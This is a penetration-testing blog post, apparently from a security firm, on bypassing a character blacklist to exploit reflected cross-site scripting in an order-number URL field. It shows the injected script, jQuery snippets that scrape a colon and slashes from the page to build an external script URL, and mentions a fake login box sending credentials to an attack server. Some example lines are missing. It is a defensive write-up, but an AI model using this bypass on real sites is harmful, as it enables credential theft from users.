In this post, I am going to explore a real world instance of a blacklist style defence against Cross Site Scripting. Despite the seemingly thorough nature of the blacklist, a creative approach soon leads to the defences being defeated, demonstrating that a moderate impact attack would be possible.
In a recent web application test, one area of the application was found to take an order number from a provided section of the URL.
The request path for a legitimate page would normally look like this:
However, it was quickly spotted that the location in the page where the order number (e.g. 123456) was rendered was inside of a
Would result in code rendered on the page which looks like this:
<script> var ordered = 123456;alert(1); </script>
This resulted in an alert box appearing in the user’s browser – the classic proof of concept for any Cross Site Scripting vulnerability.
The Attacker’s Problem
We then looked at what other characters were available to be used and whether this could result in arbitrary code to be run from another domain. It was found that:
- Angle brackets (i.e. < and >) were blocked by .NET request validation
- Due to the way the request parameter was handled, the request could not contain slashes (/) or the colon (:) character
- The plus (+) character appeared to break the logic of the page and display a different error message
All of this meant that exploitation of the Cross Site Scripting vulnerability did not look to be possible in any meaningful way.
This is a classic example of blacklisting. There is effectively a list of characters which can’t be used. However, blacklists can often be circumvented. In order to do this we needed to find a way of achieving the following tasks:
- Constructing a URL string that points to a malicious script, which contains slashes and a colon (https://) without supplying those characters directly
- Creating a script element without access to HTML mark-up characters or DOM manipulation methods, like createElement()
Fortunately, jQuery was also included on the vulnerable page, which made things a lot easier. First of all, we found somewhere on the page that already contains the characters we want. Then we got the contents of that part of the page and subsequently saved it into a variable:
c=$(‘style’).text().substr(35,1);// This part gets a colon character from a stylesheet element on the page sl=$(‘script’).text().substr(1,2);// This part gets two slashes from a script element on the page
These were then stuck together using the
String.concat() method to construct a URL to our malicious script:
$(‘script’).src = url; $(‘body’).append($(‘script’));
This then rendered our malicious code, which displayed a fake login box that posted user credentials back to our attack server.
When approaching the problem of untrusted inputs, developers must only allow input which is entirely necessary for the running of the application, otherwise known as whitelisting. In the case of this application, only permitting integers in the input would have prevented the attack from working. Ultimately, blacklisting is never the correct approach.
To contact Nettitude’s editor, please contact firstname.lastname@example.org.